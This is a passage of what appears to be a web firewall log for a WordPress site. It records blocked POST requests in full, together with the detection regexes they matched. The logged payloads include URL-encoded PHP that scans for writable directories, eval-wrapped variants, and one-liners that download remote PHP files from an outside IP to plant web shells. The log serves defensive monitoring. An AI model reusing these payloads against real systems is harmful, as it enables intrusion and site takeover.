%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-admin%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 17:02:59","185.176.9.68","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> eZ:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-admin\/network%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-fetch-dest:document\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMIbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-length:3832\n\neZ=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-admin\/network%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 17:03:39","78.142.18.172","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-includes\/block-patterns%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nupgrade-insecure-requests:1\nsec-ch-ua-mobile:?0\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-mode:navigate\nsec-fetch-dest:document\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\ncontent-length:3865\n\nIMAhJp=eval(rawurldecode(\"%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-includes\/block-patterns%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20\"));"]
["2026-05-12 17:04:19","46.32.255.52","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Zz:%3C%3Fphp%20%20file_put_contents%28%27cron.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/ZPKEdOyDcQ%27%29%29%3B","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-fetch-dest:document\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJabvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhqTIlozSfVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-length:167\n\nZz=%3C%3Fphp%20%20file_put_contents%28%27cron.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/ZPKEdOyDcQ%27%29%29%3B"]
["2026-05-12 17:04:27","171.244.34.150","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> KT:%3C%3Fphp%20%20file_put_contents%28%27schinese.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/kArMvxFoHX%27%29%29%3B","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-fetch-dest:document\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvF1DvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-length:171\n\nKT=%3C%3Fphp%20%20file_put_contents%28%27schinese.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/kArMvxFoHX%27%29%29%3B"]
["2026-05-12 17:04:43","47.242.236.143","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> rY:%3C%3Fphp%20%20file_put_contents%28%27finalization.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/PjJoKauRLJ%27%29%29%3B","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-fetch-dest:document\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpyxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-length:175\n\nrY=%3C%3Fphp%20%20file_put_contents%28%27finalization.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/PjJoKauRLJ%27%29%29%3B"]
["2026-05-12 17:04:51","91.142.222.105","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Es:%3C%3Fphp%20%20file_put_contents%28%27tax_classes.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/wAWnudinnK%27%29%29%3B","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-fetch-site:none\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-fetch-dest:document\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEKZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5p3EyoFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-length:174\n\nEs=%3C%3Fphp%20%20file_put_contents%28%27tax_classes.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/wAWnudinnK%27%29%29%3B"]
["2026-05-12 17:05:07","185.176.9.68","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> QX:%3C%3Fphp%20%20file_put_contents%28%27dload.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/cNTFlksNjg%27%29%29%3B","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=730da3e67a08a749df0620450f4abf2e; 